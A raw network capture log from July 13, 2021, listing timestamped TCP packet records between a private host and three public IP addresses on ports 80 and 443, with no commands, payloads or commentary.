Jul 13, 2021 14:37:13.197132111 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197146893 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197170973 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197181940 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.197704077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197727919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197748899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197748899 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.197766066 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197784901 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.197805882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197840929 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.198018074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198040009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198079109 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.198344946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198364019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198385000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198409081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198411942 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.198432922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198447943 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198455095 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.198504925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198513031 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.198519945 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.198568106 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.199076891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.199100018 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.199150085 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.261969090 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.264107943 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.264146090 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.292283058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.310097933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.310214043 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.456753969 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.456887960 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.649457932 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663477898 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663536072 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663578033 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663614988 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663625956 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.663652897 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663670063 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.663680077 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663703918 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:13.663743973 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.664194107 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.856545925 CEST	80	49711	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:17.019812107 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:17.249643087 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:17.249777079 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:17.273312092 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:17.502907991 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:17.505853891 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:17.505961895 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:17.735790968 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:17.738586903 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:19.895204067 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.124787092 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.129313946 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.129424095 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.358827114 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.359291077 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.363897085 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.593125105 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.593444109 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.593560934 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.593645096 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.593725920 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.593739033 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.593790054 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.593939066 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.593957901 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.593974113 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.594005108 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.594074011 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.594084024 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.594084024 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.595508099 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.610121012 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.610230923 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.618297100 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.618320942 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.618429899 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.618778944 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.634279966 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.634304047 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.634507895 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.650522947 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.650546074 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.650684118 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.823199987 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.823286057 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.823326111 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.823371887 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.831347942 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.831465006 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.831470013 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.831581116 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.849020958 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.849121094 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.849131107 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.849184990 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.863452911 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.863476038 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.863598108 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.879534960 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.879587889 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.879724026 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.879765034 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.895669937 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.895761013 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.901457071 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.901478052 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.911705017 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.911736012 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.911806107 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.927712917 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.927756071 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.927864075 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.927890062 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.941817045 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.941874027 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.942329884 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.955964088 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.956000090 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.961608887 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.970503092 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.970587015 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.972238064 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.984877110 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.984910965 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.985727072 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.999213934 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.999249935 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:20.999309063 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:20.999332905 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.013569117 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.013609886 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.013719082 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.013762951 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.055228949 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.055263996 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.055360079 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.055386066 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.060995102 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.061036110 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.069309950 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.071851969 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.071902037 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.071959019 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.071996927 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.082670927 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.082706928 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.082819939 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.093250990 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.093334913 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.097930908 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.103724957 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.103822947 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.114027023 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.114062071 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.123126984 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.124615908 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.124660969 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.124727011 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.124747992 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.135581970 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.135610104 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.135673046 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.135689974 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.145824909 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.145852089 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.145920992 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.145948887 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.156622887 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.156653881 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.156702995 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.156735897 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.166547060 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.166587114 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.166655064 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.166672945 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.179848909 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.179896116 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.179944038 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.179965973 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.187823057 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.187850952 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.187896967 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.187922955 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.198091984 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.198118925 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.198230982 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.198261976 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.208652973 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.208677053 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.208741903 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.208774090 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.218964100 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.219208956 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.219268084 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.229530096 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.229593992 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.229696989 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.229741096 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.240004063 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.240032911 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.240128040 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.250396013 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.250425100 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.250524998 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.250567913 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.259161949 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.259185076 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.259268045 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.259305000 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.268516064 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.268542051 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.268608093 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.277611971 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.277640104 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.277698994 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.277720928 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.286691904 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.286756992 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.286793947 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.286837101 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.296545982 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.296629906 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.296679020 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.296755075 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.304593086 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.304620981 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.304943085 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.310343981 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.310367107 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.310468912 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.315942049 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.315964937 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.316040039 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.316085100 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.321444035 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.321585894 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.321906090 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.322829008 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.328984022 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.329018116 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.329145908 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.332184076 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.332214117 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.332272053 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.338191032 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.338231087 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.338771105 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.338790894 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.343111038 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.343158960 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.343255997 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.348913908 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.348947048 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.349020958 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.353714943 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.354866982 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.354948997 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.355070114 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.361920118 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.364900112 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.364980936 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.365009069 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.365032911 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.365056992 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.365087032 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.369612932 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.369673014 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.371234894 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.371279955 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.376310110 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.376342058 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.376398087 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.376430035 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.379681110 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.379708052 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.379748106 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.379775047 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.384562969 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.384665012 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.384749889 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.384819031 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.389377117 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.389403105 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.389451027 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.389477015 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.394704103 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.394745111 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.396265030 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.402170897 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.402198076 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.402254105 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.404303074 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.404329062 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.404385090 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.408999920 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.409025908 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.409075975 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.409102917 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.413633108 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.413660049 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.413764954 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.413774014 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.418435097 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.418456078 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.418488979 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.418515921 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.423651934 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.423710108 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.423764944 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.427588940 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.427664995 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.427676916 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.427719116 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.432988882 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.433017969 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.433043957 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.433063030 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.437705040 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.437783957 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.437804937 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.437877893 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.441710949 CEST	443	49716	45.154.13.94	192.168.2.3
